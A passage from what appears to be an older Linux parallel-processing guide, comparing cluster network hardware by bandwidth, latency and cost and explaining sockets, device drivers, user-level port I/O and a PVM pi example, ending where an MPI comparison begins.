How does one hook-up this network? The highest performance and most common now is a PCI bus interface card. There are also EISA, VESA local bus (VL bus), and ISA bus cards. ISA was there first, and is still commonly used for low-performance cards. EISA is still around as the second bus in a lot of PCI machines, so there are a few cards. These days, you don't see much VL stuff (although http://www.vesa.org/ would beg to differ).

Of course, any interface that you can use without having to open your PC's case has more than a little appeal. IrDA and USB interfaces are appearing with increasing frequency. The Standard Parallel Port (SPP) used to be what your printer was plugged into, but it has seen a lot of use lately as an external extension of the ISA bus; this new functionality is enhanced by the IEEE 1284 standard, which specifies EPP and ECP improvements. There is also the old, reliable, slow RS232 serial port. I don't know of anybody connecting machines using VGA video connectors, keyboard, mouse, or game ports... so that's about it.

Network structure:

A bus is a wire, set of wires, or fiber. A hub is a little box that knows how to connect different wires/fibers plugged into it; switched hubs allow multiple connections to be actively transmitting data simultaneously.

Cost per machine connected:

Here's how to use these numbers. Suppose that, not counting the network connection, it costs $2,000 to purchase a PC for use as a node in your cluster. Adding a Fast Ethernet brings the per node cost to about $2,400; adding a Myrinet instead brings the cost to about $3,800. If you have about $20,000 to spend, that means you could have either 8 machines connected by Fast Ethernet or 5 machines connected by Myrinet. It also can be very reasonable to have multiple networks; e.g., $20,000 could buy 8 machines connected by both Fast Ethernet and TTL_PAPERS. Pick the network, or set of networks, that is most likely to yield a cluster that will run your application fastest.

By the time you read this, these numbers will be wrong... heck, they're probably wrong already. There may also be quantity discounts, special deals, etc. Still, the prices quoted here aren't likely to be wrong enough to lead you to a totally inappropriate choice. It doesn't take a PhD (although I do have one ;-) to see that expensive networks only make sense if your application needs their special properties or if the PCs being clustered are relatively expensive.

Now that you have the disclaimers, on with the show....

ArcNet

  • Linux support: kernel drivers
  • Maximum bandwidth: 2.5 Mb/s
  • Minimum latency: 1,000 microseconds?
  • Available as: multiple-vendor hardware
  • Interface port/bus used: ISA
  • Network structure: unswitched hub or bus (logical ring)
  • Cost per machine connected: $200

ARCNET is a local area network that is primarily intended for use in embedded real-time control systems. Like Ethernet, the network is physically organized either as taps on a bus or one or more hubs, however, unlike Ethernet, it uses a token-based protocol logically structuring the network as a ring. Packet headers are small (3 or 4 bytes) and messages can carry as little as a single byte of data. Thus, ARCNET yields more consistent performance than Ethernet, with bounded delays, etc. Unfortunately, it is slower than Ethernet and less popular, making it more expensive. More information is available from the ARCNET Trade Association at http://www.arcnet.com/.

ATM

  • Linux support: kernel driver, AAL* library
  • Maximum bandwidth: 155 Mb/s (soon, 1,200 Mb/s)
  • Minimum latency: 120 microseconds
  • Available as: multiple-vendor hardware
  • Interface port/bus used: PCI
  • Network structure: switched hubs
  • Cost per machine connected: $3,000

Unless you've been in a coma for the past few years, you have probably heard a lot about how ATM (Asynchronous Transfer Mode) is the future... well, sort-of. ATM is cheaper than HiPPI and faster than Fast Ethernet, and it can be used over the very long distances that the phone companies care about. The ATM network protocol is also designed to provide a lower-overhead software interface and to more efficiently manage small messages and real-time communications (e.g., digital audio and video). It is also one of the highest-bandwidth networks that Linux currently supports. The bad news is that ATM isn't cheap, and there are still some compatibility problems across vendors. An overview of Linux ATM development is available at http://lrcwww.epfl.ch/linux-atm/.

CAPERS

  • Linux support: AFAPI library
  • Maximum bandwidth: 1.2 Mb/s
  • Minimum latency: 3 microseconds
  • Available as: commodity hardware
  • Interface port/bus used: SPP
  • Network structure: cable between 2 machines
  • Cost per machine connected: $2

CAPERS (Cable Adapter for Parallel Execution and Rapid Synchronization) is a spin-off of the PAPERS project, http://garage.ecn.purdue.edu/~papers/, at the Purdue University School of Electrical and Computer Engineering. In essence, it defines a software protocol for using an ordinary "LapLink" SPP-to-SPP cable to implement the PAPERS library for two Linux PCs. The idea doesn't scale, but you can't beat the price. As with TTL_PAPERS, to improve system security, there is a minor kernel patch recommended, but not required: http://garage.ecn.purdue.edu/~papers/giveioperm.html.

Ethernet

  • Linux support: kernel drivers
  • Maximum bandwidth: 10 Mb/s
  • Minimum latency: 100 microseconds
  • Available as: commodity hardware
  • Interface port/bus used: PCI
  • Network structure: switched or unswitched hubs, or hubless bus
  • Cost per machine connected: $100 (hubless, $50)

For some years now, 10 Mbits/s Ethernet has been the standard network technology. Good Ethernet interface cards can be purchased for well under $50, and a fair number of PCs now have an Ethernet controller built-into the motherboard. For lightly-used networks, Ethernet connections can be organized as a multi-tap bus without a hub; such configurations can serve up to 200 machines with minimal cost, but are not appropriate for parallel processing. Adding an unswitched hub does not really help performance. However, switched hubs that can provide full bandwidth to simultaneous connections cost only about $100 per port. Linux supports an amazing range of Ethernet interfaces, but it is important to keep in mind that variations in the interface hardware can yield significant performance differences. See the Hardware Compatibility HOWTO for comments on which are supported and how well they work; also see http://cesdis1.gsfc.nasa.gov/linux/drivers/.

An interesting way to improve performance is offered by the 16-machine Linux cluster work done in the Beowulf project, http://cesdis.gsfc.nasa.gov/linux/beowulf/beowulf.html, at NASA CESDIS. There, Donald Becker, who is the author of many Ethernet card drivers, has developed support for load sharing across multiple Ethernet networks that shadow each other (i.e., share the same network addresses). This load sharing is built-into the standard Linux distribution, and is done invisibly below the socket operation level. Because hub cost is significant, having each machine connected to two or more hubless or unswitched hub Ethernet networks can be a very cost-effective way to improve performance. In fact, in situations where one machine is the network performance bottleneck, load sharing using shadow networks works much better than using a single switched hub network.

Ethernet (Fast Ethernet)

  • Linux support: kernel drivers
  • Maximum bandwidth: 100 Mb/s
  • Minimum latency: 80 microseconds
  • Available as: commodity hardware
  • Interface port/bus used: PCI
  • Network structure: switched or unswitched hubs
  • Cost per machine connected: $400?

Although there are really quite a few different technologies calling themselves "Fast Ethernet," this term most often refers to a hub-based 100 Mbits/s Ethernet that is somewhat compatible with older "10 BaseT" 10 Mbits/s devices and cables. As might be expected, anything called Ethernet is generally priced for a volume market, and these interfaces are generally a small fraction of the price of 155 Mbits/s ATM cards. The catch is that having a bunch of machines dividing the bandwidth of a single 100 Mbits/s "bus" (using an unswitched hub) yields performance that might not even be as good on average as using 10 Mbits/s Ethernet with a switched hub that can give each machine's connection a full 10 Mbits/s.

Switched hubs that can provide 100 Mbits/s for each machine simultaneously are expensive, but prices are dropping every day, and these switches do yield much higher total network bandwidth than unswitched hubs. The thing that makes ATM switches so expensive is that they must switch for each (relatively short) ATM cell; some Fast Ethernet switches take advantage of the expected lower switching frequency by using techniques that may have low latency through the switch, but take multiple milliseconds to change the switch path... if your routing pattern changes frequently, avoid those switches. See http://cesdis1.gsfc.nasa.gov/linux/drivers/ for information about the various cards and drivers.

Also note that, as described for Ethernet, the Beowulf project, http://cesdis.gsfc.nasa.gov/linux/beowulf/beowulf.html, at NASA has been developing support that offers improved performance by load sharing across multiple Fast Ethernets.

Ethernet (Gigabit Ethernet)

  • Linux support: kernel drivers
  • Maximum bandwidth: 1,000 Mb/s
  • Minimum latency: 300 microseconds?
  • Available as: multiple-vendor hardware
  • Interface port/bus used: PCI
  • Network structure: switched hubs or FDRs
  • Cost per machine connected: $2,500?

I'm not sure that Gigabit Ethernet, http://www.gigabit-ethernet.org/, has a good technological reason to be called Ethernet... but the name does accurately reflect the fact that this is intended to be a cheap, mass-market, computer network technology with native support for IP. However, current pricing reflects the fact that Gb/s hardware is still a tricky thing to build.

Unlike other Ethernet technologies, Gigabit Ethernet provides for a level of flow control that should make it a more reliable network. FDRs, or Full-Duplex Repeaters, simply multiplex lines, using buffering and localized flow control to improve performance. Most switched hubs are being built as new interface modules for existing gigabit-capable switch fabrics. Switch/FDR products have been shipped or announced by at least http://www.acacianet.com/, http://www.baynetworks.com/, http://www.cabletron.com/, http://www.networks.digital.com/, http://www.extremenetworks.com/, http://www.foundrynet.com/, http://www.gigalabs.com/, http://www.packetengines.com/. http://www.plaintree.com/, http://www.prominet.com/, http://www.sun.com/, and http://www.xlnt.com/.

There is a Linux driver, http://cesdis.gsfc.nasa.gov/linux/drivers/yellowfin.html, for the Packet Engines "Yellowfin" G-NIC, http://www.packetengines.com/. Early tests under Linux achieved about 2.5x higher bandwidth than could be achieved with the best 100 Mb/s Fast Ethernet; with gigabit networks, careful tuning of PCI bus use is a critical factor. There is little doubt that driver improvements, and Linux drivers for other NICs, will follow.

FC (Fibre Channel)

  • Linux support: no
  • Maximum bandwidth: 1,062 Mb/s
  • Minimum latency: ?
  • Available as: multiple-vendor hardware
  • Interface port/bus used: PCI?
  • Network structure: ?
  • Cost per machine connected: ?

The goal of FC (Fibre Channel) is to provide high-performance block I/O (an FC frame carries a 2,048 byte data payload), particularly for sharing disks and other storage devices that can be directly connected to the FC rather than connected through a computer. Bandwidth-wise, FC is specified to be relatively fast, running anywhere between 133 and 1,062 Mbits/s. If FC becomes popular as a high-end SCSI replacement, it may quickly become a cheap technology; for now, it is not cheap and is not supported by Linux. A good collection of FC references is maintained by the Fibre Channel Association at http://www.amdahl.com/ext/CARP/FCA/FCA.html

FireWire (IEEE 1394)

  • Linux support: no
  • Maximum bandwidth: 196.608 Mb/s (soon, 393.216 Mb/s)
  • Minimum latency: ?
  • Available as: multiple-vendor hardware
  • Interface port/bus used: PCI
  • Network structure: random without cycles (self-configuring)
  • Cost per machine connected: $600

FireWire, http://www.firewire.org/, the IEEE 1394-1995 standard, is destined to be the low-cost high-speed digital network for consumer electronics. The showcase application is connecting DV digital video camcorders to computers, but FireWire is intended to be used for applications ranging from being a SCSI replacement to interconnecting the components of your home theater. It allows up to 64K devices to be connected in any topology using busses and bridges that does not create a cycle, and automatically detects the configuration when components are added or removed. Short (four-byte "quadlet") low-latency messages are supported as well as ATM-like isochronous transmission (used to keep multimedia messages synchronized). Adaptec has FireWire products that allow up to 63 devices to be connected to a single PCI interface card, and also has good general FireWire information at http://www.adaptec.com/serialio/.

Although FireWire will not be the highest bandwidth network available, the consumer-level market (which should drive prices very low) and low latency support might make this one of the best Linux PC cluster message-passing network technologies within the next year or so.

HiPPI And Serial HiPPI

  • Linux support: no
  • Maximum bandwidth: 1,600 Mb/s (serial is 1,200 Mb/s)
  • Minimum latency: ?
  • Available as: multiple-vendor hardware
  • Interface port/bus used: EISA, PCI
  • Network structure: switched hubs
  • Cost per machine connected: $3,500 (serial is $4,500)

HiPPI (High Performance Parallel Interface) was originally intended to provide very high bandwidth for transfer of huge data sets between a supercomputer and another machine (a supercomputer, frame buffer, disk array, etc.), and has become the dominant standard for supercomputers. Although it is an oxymoron, Serial HiPPI is also becoming popular, typically using a fiber optic cable instead of the 32-bit wide standard (parallel) HiPPI cables. Over the past few years, HiPPI crossbar switches have become common and prices have dropped sharply; unfortunately, serial HiPPI is still pricey, and that is what PCI bus interface cards generally support. Worse still, Linux doesn't yet support HiPPI. A good overview of HiPPI is maintained by CERN at http://www.cern.ch/HSI/hippi/; they also maintain a rather long list of HiPPI vendors at http://www.cern.ch/HSI/hippi/procintf/manufact.htm.

IrDA (Infrared Data Association)

  • Linux support: no?
  • Maximum bandwidth: 1.15 Mb/s and 4 Mb/s
  • Minimum latency: ?
  • Available as: multiple-vendor hardware
  • Interface port/bus used: IrDA
  • Network structure: thin air ;-)
  • Cost per machine connected: $0

IrDA (Infrared Data Association, http://www.irda.org/) is that little infrared device on the side of a lot of laptop PCs. It is inherently difficult to connect more than two machines using this interface, so it is unlikely to be used for clustering. Don Becker did some preliminary work with IrDA.

Myrinet

  • Linux support: library
  • Maximum bandwidth: 1,280 Mb/s
  • Minimum latency: 9 microseconds
  • Available as: single-vendor hardware
  • Interface port/bus used: PCI
  • Network structure: switched hubs
  • Cost per machine connected: $1,800

Myrinet http://www.myri.com/ is a local area network (LAN) designed to also serve as a "system area network" (SAN), i.e., the network within a cabinet full of machines connected as a parallel system. The LAN and SAN versions use different physical media and have somewhat different characteristics; generally, the SAN version would be used within a cluster.

Myrinet is fairly conventional in structure, but has a reputation for being particularly well-implemented. The drivers for Linux are said to perform very well, although shockingly large performance variations have been reported with different PCI bus implementations for the host computers.

Currently, Myrinet is clearly the favorite network of cluster groups that are not too severely "budgetarily challenged." If your idea of a Linux PC is a high-end Pentium Pro or Pentium II with at least 256 MB RAM and a SCSI RAID, the cost of Myrinet is quite reasonable. However, using more ordinary PC configurations, you may find that your choice is between N machines linked by Myrinet or 2N linked by multiple Fast Ethernets and TTL_PAPERS. It really depends on what your budget is and what types of computations you care about most.

Parastation

  • Linux support: HAL or socket library
  • Maximum bandwidth: 125 Mb/s
  • Minimum latency: 2 microseconds
  • Available as: single-vendor hardware
  • Interface port/bus used: PCI
  • Network structure: hubless mesh
  • Cost per machine connected: > $1,000

The ParaStation project http://wwwipd.ira.uka.de/parastation at University of Karlsruhe Department of Informatics is building a PVM-compatible custom low-latency network. They first constructed a two-processor ParaPC prototype using a custom EISA card interface and PCs running BSD UNIX, and then built larger clusters using DEC Alphas. Since January 1997, ParaStation has been available for Linux. The PCI cards are being made in cooperation with a company called Hitex (see http://www.hitex.com:80/parastation/). Parastation hardware implements both fast, reliable, message transmission and simple barrier synchronization.

PLIP

  • Linux support: kernel driver
  • Maximum bandwidth: 1.2 Mb/s
  • Minimum latency: 1,000 microseconds?
  • Available as: commodity hardware
  • Interface port/bus used: SPP
  • Network structure: cable between 2 machines
  • Cost per machine connected: $2

For just the cost of a "LapLink" cable, PLIP (Parallel Line Interface Protocol) allows two Linux machines to communicate through standard parallel ports using standard socket-based software. In terms of bandwidth, latency, and scalability, this is not a very serious network technology; however, the near-zero cost and the software compatibility are useful. The driver is part of the standard Linux kernel distributions.

SCI

  • Linux support: no
  • Maximum bandwidth: 4,000 Mb/s
  • Minimum latency: 2.7 microseconds
  • Available as: multiple-vendor hardware
  • Interface port/bus used: PCI, proprietary
  • Network structure: ?
  • Cost per machine connected: > $1,000

The goal of SCI (Scalable Coherent Interconnect, ANSI/IEEE 1596-1992) is essentially to provide a high performance mechanism that can support coherent shared memory access across large numbers of machines, as well various types of block message transfers. It is fairly safe to say that the designed bandwidth and latency of SCI are both "awesome" in comparison to most other network technologies. The catch is that SCI is not widely available as cheap production units, and there isn't any Linux support.

SCI primarily is used in various proprietary designs for logically-shared physically-distributed memory machines, such as the HP/Convex Exemplar SPP and the Sequent NUMA-Q 2000 (see http://www.sequent.com/). However, SCI is available as a PCI interface card and 4-way switches (up to 16 machines can be connected by cascading four 4-way switches) from Dolphin, http://www.dolphinics.com/, as their CluStar product line. A good set of links overviewing SCI is maintained by CERN at http://www.cern.ch/HSI/sci/sci.html.

SCSI

  • Linux support: kernel drivers
  • Maximum bandwidth: 5 Mb/s to over 20 Mb/s
  • Minimum latency: ?
  • Available as: multiple-vendor hardware
  • Interface port/bus used: PCI, EISA, ISA card
  • Network structure: inter-machine bus sharing SCSI devices
  • Cost per machine connected: ?

SCSI (Small Computer Systems Interconnect) is essentially an I/O bus that is used for disk drives, CD ROMS, image scanners, etc. There are three separate standards SCSI-1, SCSI-2, and SCSI-3; Fast and Ultra speeds; and data path widths of 8, 16, or 32 bits (with FireWire compatibility also mentioned in SCSI-3). It is all pretty confusing, but we all know a good SCSI is somewhat faster than EIDE and can handle more devices more efficiently.

What many people do not realize is that it is fairly simple for two computers to share a single SCSI bus. This type of configuration is very useful for sharing disk drives between machines and implementing fail-over - having one machine take over database requests when the other machine fails. Currently, this is the only mechanism supported by Microsoft's PC cluster product, WolfPack. However, the inability to scale to larger systems renders shared SCSI uninteresting for parallel processing in general.

ServerNet

  • Linux support: no
  • Maximum bandwidth: 400 Mb/s
  • Minimum latency: 3 microseconds
  • Available as: single-vendor hardware
  • Interface port/bus used: PCI
  • Network structure: hexagonal tree/tetrahedral lattice of hubs
  • Cost per machine connected: ?

ServerNet is the high-performance network hardware from Tandem, http://www.tandem.com. Especially in the online transation processing (OLTP) world, Tandem is well known as a leading producer of high-reliability systems, so it is not surprising that their network claims not just high performance, but also "high data integrity and reliability." Another interesting aspect of ServerNet is that it claims to be able to transfer data from any device directly to any device; not just between processors, but also disk drives, etc., in a one-sided style similar to that suggested by the MPI remote memory access mechanisms described in section 3.5. One last comment about ServerNet: although there is just a single vendor, that vendor is powerful enough to potentially establish ServerNet as a major standard... Tandem is owned by Compaq.

SHRIMP

  • Linux support: user-level memory mapped interface
  • Maximum bandwidth: 180 Mb/s
  • Minimum latency: 5 microseconds
  • Available as: research prototype
  • Interface port/bus used: EISA
  • Network structure: mesh backplane (as in Intel Paragon)
  • Cost per machine connected: ?

The SHRIMP project, http://www.CS.Princeton.EDU/shrimp/, at the Princeton University Computer Science Department is building a parallel computer using PCs running Linux as the processing elements. The first SHRIMP (Scalable, High-Performance, Really Inexpensive Multi-Processor) was a simple two-processor prototype using a dual-ported RAM on a custom EISA card interface. There is now a prototype that will scale to larger configurations using a custom interface card to connect to a "hub" that is essentially the same mesh routing network used in the Intel Paragon (see http://www.ssd.intel.com/paragon.html). Considerable effort has gone into developing low-overhead "virtual memory mapped communication" hardware and support software.

SLIP

  • Linux support: kernel drivers
  • Maximum bandwidth: 0.1 Mb/s
  • Minimum latency: 1,000 microseconds?
  • Available as: commodity hardware
  • Interface port/bus used: RS232C
  • Network structure: cable between 2 machines
  • Cost per machine connected: $2

Although SLIP (Serial Line Interface Protocol) is firmly planted at the low end of the performance spectrum, SLIP (or CSLIP or PPP) allows two machines to perform socket communication via ordinary RS232 serial ports. The RS232 ports can be connected using a null-modem RS232 serial cable, or they can even be connected via dial-up through a modem. In any case, latency is high and bandwidth is low, so SLIP should be used only when no other alternatives are available. It is worth noting, however, that most PCs have two RS232 ports, so it would be possible to network a group of machines simply by connecting the machines as a linear array or as a ring. There is even load sharing software called EQL.

TTL_PAPERS

  • Linux support: AFAPI library
  • Maximum bandwidth: 1.6 Mb/s
  • Minimum latency: 3 microseconds
  • Available as: public-domain design, single-vendor hardware
  • Interface port/bus used: SPP
  • Network structure: tree of hubs
  • Cost per machine connected: $100

The PAPERS (Purdue's Adapter for Parallel Execution and Rapid Synchronization) project, http://garage.ecn.purdue.edu/~papers/, at the Purdue University School of Electrical and Computer Engineering is building scalable, low-latency, aggregate function communication hardware and software that allows a parallel supercomputer to be built using unmodified PCs/workstations as nodes.

There have been over a dozen different types of PAPERS hardware built that connect to PCs/workstations via the SPP (Standard Parallel Port), roughly following two development lines. The versions called "PAPERS" target higher performance, using whatever technologies are appropriate; current work uses FPGAs, and high bandwidth PCI bus interface designs are also under development. In contrast, the versions called "TTL_PAPERS" are designed to be easily reproduced outside Purdue, and are remarkably simple public domain designs that can be built using ordinary TTL logic. One such design is produced commercially, http://chelsea.ios.com:80/~hgdietz/sbm4.html.

Unlike the custom hardware designs from other universities, TTL_PAPERS clusters have been assembled at many universities from the USA to South Korea. Bandwidth is severely limited by the SPP connections, but PAPERS implements very low latency aggregate function communications; even the fastest message-oriented systems cannot provide comparable performance on those aggregate functions. Thus, PAPERS is particularly good for synchronizing the displays of a video wall (to be discussed further in the upcoming Video Wall HOWTO), scheduling accesses to a high-bandwidth network, evaluating global fitness in genetic searches, etc. Although PAPERS clusters have been built using IBM PowerPC AIX, DEC Alpha OSF/1, and HP PA-RISC HP-UX machines, Linux-based PCs are the platforms best supported.

User programs using TTL_PAPERS AFAPI directly access the SPP hardware port registers under Linux, without an OS call for each access. To do this, AFAPI first gets port permission using either iopl() or ioperm(). The problem with these calls is that both require the user program to be privileged, yielding a potential security hole. The solution is an optional kernel patch, http://garage.ecn.purdue.edu/~papers/giveioperm.html, that allows a privileged process to control port permission for any process.

USB (Universal Serial Bus)

  • Linux support: kernel driver
  • Maximum bandwidth: 12 Mb/s
  • Minimum latency: ?
  • Available as: commodity hardware
  • Interface port/bus used: USB
  • Network structure: bus
  • Cost per machine connected: $5?

USB (Universal Serial Bus, http://www.usb.org/) is a hot-pluggable conventional-Ethernet-speed, bus for up to 127 peripherals ranging from keyboards to video conferencing cameras. It isn't really clear how multiple computers get connected to each other using USB. In any case, USB ports are quickly becoming as standard on PC motherboards as RS232 and SPP, so don't be surprised if one or two USB ports are lurking on the back of the next PC you buy. Development of a Linux driver is discussed at http://peloncho.fis.ucm.es/~inaky/USB.html.

In some ways, USB is almost the low-performance, zero-cost, version of FireWire that you can purchase today.

WAPERS

  • Linux support: AFAPI library
  • Maximum bandwidth: 0.4 Mb/s
  • Minimum latency: 3 microseconds
  • Available as: public-domain design
  • Interface port/bus used: SPP
  • Network structure: wiring pattern between 2-64 machines
  • Cost per machine connected: $5

WAPERS (Wired-AND Adapter for Parallel Execution and Rapid Synchronization) is a spin-off of the PAPERS project, http://garage.ecn.purdue.edu/~papers/, at the Purdue University School of Electrical and Computer Engineering. If implemented properly, the SPP has four bits of open-collector output that can be wired together across machines to implement a 4-bit wide wired AND. This wired-AND is electrically touchy, and the maximum number of machines that can be connected in this way critically depends on the analog properties of the ports (maximum sink current and pull-up resistor value); typically, up to 7 or 8 machines can be networked by WAPERS. Although cost and latency are very low, so is bandwidth; WAPERS is much better as a second network for aggregate operations than as the only network in a cluster. As with TTL_PAPERS, to improve system security, there is a minor kernel patch recommended, but not required: http://garage.ecn.purdue.edu/~papers/giveioperm.html.

3.3 Network Software Interface

Before moving on to discuss the software support for parallel applications, it is useful to first briefly cover the basics of low-level software interface to the network hardware. There are really only three basic choices: sockets, device drivers, and user-level libraries.

Sockets

By far the most common low-level network interface is a socket interface. Sockets have been a part of unix for over a decade, and most standard network hardware is designed to support at least two types of socket protocols: UDP and TCP. Both types of socket allow you to send arbitrary size blocks of data from one machine to another, but there are several important differences. Typically, both yield a minimum latency of around 1,000 microseconds, although performance can be far worse depending on network traffic.

These socket types are the basic network software interface for most of the portable, higher-level, parallel processing software; for example, PVM uses a combination of UDP and TCP, so knowing the difference will help you tune performance. For even better performance, you can also use these mechanisms directly in your program. The following is just a simple overview of UDP and TCP; see the manual pages and a good network programming book for details.

UDP Protocol (SOCK_DGRAM)

UDP is the User Datagram Protocol, but you more easily can remember the properties of UDP as Unreliable Datagram Processing. In other words, UDP allows each block to be sent as an individual message, but a message might be lost in transmission. In fact, depending on network traffic, UDP messages can be lost, can arrive multiple times, or can arrive in an order different from that in which they were sent. The sender of a UDP message does not automatically get an acknowledgment, so it is up to user-written code to detect and compensate for these problems. Fortunately, UDP does ensure that if a message arrives, the message contents are intact (i.e., you never get just part of a UDP message).

The nice thing about UDP is that it tends to be the fastest socket protocol. Further, UDP is "connectionless," which means that each message is essentially independent of all others. A good analogy is that each message is like a letter to be mailed; you might send multiple letters to the same address, but each one is independent of the others and there is no limit on how many people you can send letters to.

TCP Protocol (SOCK_STREAM)

Unlike UDP, TCP is a reliable, connection-based, protocol. Each block sent is not seen as a message, but as a block of data within an apparently continuous stream of bytes being transmitted through a connection between sender and receiver. This is very different from UDP messaging because each block is simply part of the byte stream and it is up to the user code to figure-out how to extract each block from the byte stream; there are no markings separating messages. Further, the connections are more fragile with respect to network problems, and only a limited number of connections can exist simultaneously for each process. Because it is reliable, TCP generally implies significantly more overhead than UDP.

There are, however, a few pleasant surprises about TCP. One is that, if multiple messages are sent through a connection, TCP is able to pack them together in a buffer to better match network hardware packet sizes, potentially yielding better-than-UDP performance for groups of short or oddly-sized messages. The other bonus is that networks constructed using reliable direct physical links between machines can easily and efficiently simulate TCP connections. For example, this was done for the ParaStation's "Socket Library" interface software, which provides TCP semantics using user-level calls that differ from the standard TCP OS calls only by the addition of the prefix PSS to each function name.

Device Drivers

When it comes to actually pushing data onto the network or pulling data off the network, the standard unix software interface is a part of the unix kernel called a device driver. UDP and TCP don't just transport data, they also imply a fair amount of overhead for socket management. For example, something has to manage the fact that multiple TCP connections can share a single physical network interface. In contrast, a device driver for a dedicated network interface only needs to implement a few simple data transport functions. These device driver functions can then be invoked by user programs by using open() to identify the proper device and then using system calls like read() and write() on the open "file." Thus, each such operation could transport a block of data with little more than the overhead of a system call, which might be as fast as tens of microseconds.

Writing a device driver to be used with Linux is not hard... if you know precisely how the device hardware works. If you are not sure how it works, don't guess. Debugging device drivers isn't fun and mistakes can fry hardware. However, if that hasn't scared you off, it may be possible to write a device driver to, for example, use dedicated Ethernet cards as dumb but fast direct machine-to-machine connections without the usual Ethernet protocol overhead. In fact, that's pretty much what some early Intel supercomputers did.... Look at the Device Driver HOWTO for more information.

User-Level Libraries

If you've taken an OS course, user-level access to hardware device registers is exactly what you have been taught never to do, because one of the primary purposes of an OS is to control device access. However, an OS call is at least tens of microseconds of overhead. For custom network hardware like TTL_PAPERS, which can perform a basic network operation in just 3 microseconds, such OS call overhead is intolerable. The only way to avoid that overhead is to have user-level code - a user-level library - directly access hardware device registers. Thus, the question becomes one of how a user-level library can access hardware directly, yet not compromise the OS control of device access rights.

On a typical system, the only way for a user-level library to directly access hardware device registers is to:

  1. At user program start-up, use an OS call to map the page of memory address space containing the device registers into the user process virtual memory map. For some systems, the mmap() call (first mentioned in section 2.6) can be used to map a special file which represents the physical memory page addresses of the I/O devices. Alternatively, it is relatively simple to write a device driver to perform this function. Further, this device driver can control access by only mapping the page(s) containing the specific device registers needed, thereby maintaining OS access control.
  2. Access device registers without an OS call by simply loading or storing to the mapped addresses. For example, *((char *) 0x1234) = 5; would store the byte value 5 into memory location 1234 (hexadecimal).

Fortunately, it happens that Linux for the Intel 386 (and compatible processors) offers an even better solution:

  1. Using the ioperm() OS call from a privileged process, get permission to access the precise I/O port addresses that correspond to the device registers. Alternatively, permission can be managed by an independent privileged user process (i.e., a "meta OS") using the giveioperm() OS call patch for Linux.
  2. Access device registers without an OS call by using 386 port I/O instructions.

This second solution is preferable because it is common that multiple I/O devices have their registers within a single page, in which case the first technique would not provide protection against accessing other device registers that happened to reside in the same page as the ones intended. Of course, the down side is that 386 port I/O instructions cannot be coded in C - instead, you will need to use a bit of assembly code. The GCC-wrapped (usable in C programs) inline assembly code function for a port input of a byte value is:

extern inline unsigned char
inb(unsigned short port)
{
    unsigned char _v;
__asm__ __volatile__ ("inb %w1,%b0"
                      :"=a" (_v)
                      :"d" (port), "0" (0));
    return _v;
}

Similarly, the GCC-wrapped code for a byte port output is:

extern inline void
outb(unsigned char value,
unsigned short port)
{
__asm__ __volatile__ ("outb %b0,%w1"
                      :/* no outputs */
                      :"a" (value), "d" (port));
}

3.4 PVM (Parallel Virtual Machine)

PVM (Parallel Virtual Machine) is a freely-available, portable, message-passing library generally implemented on top of sockets. It is clearly established as the de-facto standard for message-passing cluster parallel computing.

PVM supports single-processor and SMP Linux machines, as well as clusters of Linux machines linked by socket-capable networks (e.g., SLIP, PLIP, Ethernet, ATM). In fact, PVM will even work across groups of machines in which a variety of different types of processors, configurations, and physical networks are used - Heterogeneous Clusters - even to the scale of treating machines linked by the Internet as a parallel cluster. PVM also provides facilities for parallel job control across a cluster. Best of all, PVM has long been freely available (currently from http://www.epm.ornl.gov/pvm/pvm_home.html), which has led to many programming language compilers, application libraries, programming and debugging tools, etc., using it as their "portable message-passing target library." There is also a network newsgroup, comp.parallel.pvm.

It is important to note, however, that PVM message-passing calls generally add significant overhead to standard socket operations, which already had high latency. Further, the message handling calls themselves do not constitute a particularly "friendly" programming model.

Using the same Pi computation example first described in section 1.3, the version using C with PVM library calls is:

#include <stdlib.h>
#include <stdio.h>
#include <pvm3.h>

#define NPROC   4

main(int argc, char **argv)
{
  register double lsum, width;
  double sum;
  register int intervals, i;
  int mytid, iproc, msgtag = 4;
  int tids[NPROC];  /* array of task ids */

  /* enroll in pvm */
  mytid = pvm_mytid();

  /* Join a group and, if I am the first instance,
     iproc=0, spawn more copies of myself
  */
  iproc = pvm_joingroup("pi");

  if (iproc == 0) {
    tids[0] = pvm_mytid();
    pvm_spawn("pvm_pi", &argv[1], 0, NULL, NPROC-1, &tids[1]);
  }
  /* make sure all processes are here */
  pvm_barrier("pi", NPROC);

  /* get the number of intervals */
  intervals = atoi(argv[1]);
  width = 1.0 / intervals;

  lsum = 0.0;
  for (i = iproc; i<intervals; i+=NPROC) {
    register double x = (i + 0.5) * width;
    lsum += 4.0 / (1.0 + x * x);
  }

  /* sum across the local results & scale by width */
  sum = lsum * width;
  pvm_reduce(PvmSum, &sum, 1, PVM_DOUBLE, msgtag, "pi", 0);

  /* have only the console PE print the result */
  if (iproc == 0) {
    printf("Estimation of pi is %f\n", sum);
  }

  /* Check program finished, leave group, exit pvm */
  pvm_barrier("pi", NPROC);
  pvm_lvgroup("pi");
  pvm_exit();
  return(0);
}

3.5 MPI (Message Passing Interface)

Although PVM is the de-facto standard message-passing library, MPI (Message Passing Interface) is the relatively new official standard. The home page for the MPI standard is http://www.mcs.anl.gov:80/mpi/ and the newsgroup is comp.parallel.mpi.

However, before discussing MPI, I feel compelled to say a little bit about the PVM vs. MPI religious war that has been going on for the past few years. I'm not really on either side. Here's my attempt at a relatively unbiased summary of the differences:

Execution control environment.

Put simply, PVM has one and MPI doesn't specify how/if one is implemented. Thus, things like starting a PVM program executing are done identically everywhere, while for MPI it depends on which implementation is being used.

Support for heterogeneous clusters.

PVM grew-up in the workstation cycle-scavenging world, and thus directly manages heterogeneous mixes of machines and operating systems. In contrast, MPI largely assumes that the target is an MPP (Massively Parallel Processor) or a dedicated cluster of nearly identical workstations.

Kitchen sink syndrome.

PVM evidences a unity of purpose that MPI 2.0 doesn't. The new MPI 2.0 standard includes a lot of features that go way beyond the basic message passing model - things like RMA (Remote Memory Access) and parallel file I/O. Are these things useful? Of course they are... but learning MPI 2.0 is a lot like learning a complete new programming language.

User interface design.

MPI was designed after PVM, and clearly learned from it. MPI offers simpler, more efficient, buffer handling and higher-level abstractions allowing user-defined data structures to be transmitted in messages.

The force of law.

By my count, there are still significantly more things designed to use PVM than there are to use MPI; however, porting them to MPI is easy, and the fact that MPI is backed by a widely-supported formal standard means that using MPI is, for many institutions, a matter of policy.

Conclusion? Well, there are at least three independently developed, freely available, versions of MPI that can run on clusters of Linux systems (and I wrote one of them):

